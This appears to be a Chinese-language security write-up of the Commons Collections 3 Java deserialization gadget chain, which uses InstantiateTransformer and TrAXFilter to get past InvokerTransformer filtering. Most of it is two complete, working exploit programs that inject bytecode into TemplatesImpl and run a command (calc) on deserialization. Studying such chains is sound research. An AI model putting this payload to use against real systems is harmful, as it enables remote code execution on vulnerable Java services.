CommonsCollections3 反序列化链分析
一、前言
Variation on CommonsCollections1 that uses InstantiateTransformer instead of InvokerTransformer.
CommonsCollections1 的变体,它使用 InstantiateTransformer 而不是 InvokerTransformer。
二、利用链分析
这部分和CC2中的差不多,将恶意字节流注入到
org.apache.xalan.xsltc.trax.TemplateImpl
中的_bytecodes
属性,等待调用TemplatesImpl#newTransformer
方法,直接看截图吧到这里可以构造出初步的利用链,和CC1的一模一样。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Field;
public class CC3 {
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CommonsCollections33333333");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections33333类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes = payload.toBytecode();//转换为byte数组
// Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
TemplatesImpl templatesImpl = new TemplatesImpl();
Field name = templatesImpl.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templatesImpl, "test");
Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templatesImpl, new byte[][]{bytes});
Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templatesImpl, new TransformerFactoryImpl());
templatesImpl.newTransformer();
}
}
到这里利用链都是和CC2一致的,到下面的步骤需要寻找调用templatesImpl.newTransformer()
方法的类,在ysoserial
中CC3使用TrAXFilter
类中的构造方法中调用了该方法
CC3的出现就是在过滤
InvokerTransformer
类情况下的绕过,CC3使用InstantiateTransformer#transform(object input)
方法来绕过该过滤,与InvokerTransformer#transform
类似,该方法调用了传入的TrAXFilter
类传入的object
对象的构造方法如果
transform
方法传入参数input
可控,且iParamTypes
(传入对象的构造方法)与iArgs
(构造方法的传入参数)可控,即可调用任意类的构造方法。通过调用InstantiateTransformer构造方法可以实现对iParamTypes和iArgs参数的控制。目前的目标是调用TrAXFilter(恶意Templates对象)构造方法,通过构造上文提到的
ChainedTransformer
反射链,完成如下效果:
TrAXFilter.getConstructor(Templates.class).newInstance(恶意Templates对象)
从而实现装载恶意Templates对象的TrAXFilter对象调用构造方法,实现恶意Templates对象的newTransformer调用。从而完成利用链的构造。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String AnnotationInvocationHandler = "sun.reflect.annotation.AnnotationInvocationHandler";
// String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CommonsCollections33333333");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes = payload.toBytecode();//转换为byte数组
// Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
final TemplatesImpl templatesImpl = new TemplatesImpl();
Field name = templatesImpl.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templatesImpl, "test");
Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templatesImpl, new byte[][]{bytes});
Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templatesImpl, new TransformerFactoryImpl());
// templatesImpl.newTransformer();
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
});
HashMap<Object, Object> map = new HashMap<Object, Object>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class aClass = Class.forName(AnnotationInvocationHandler);
Constructor an = aClass.getDeclaredConstructor(Class.class, Map.class);
an.setAccessible(true);
InvocationHandler instance = (InvocationHandler) an.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);
Object os = an.newInstance(Override.class, mapProxy);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(os);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
System.out.println(o);
}
}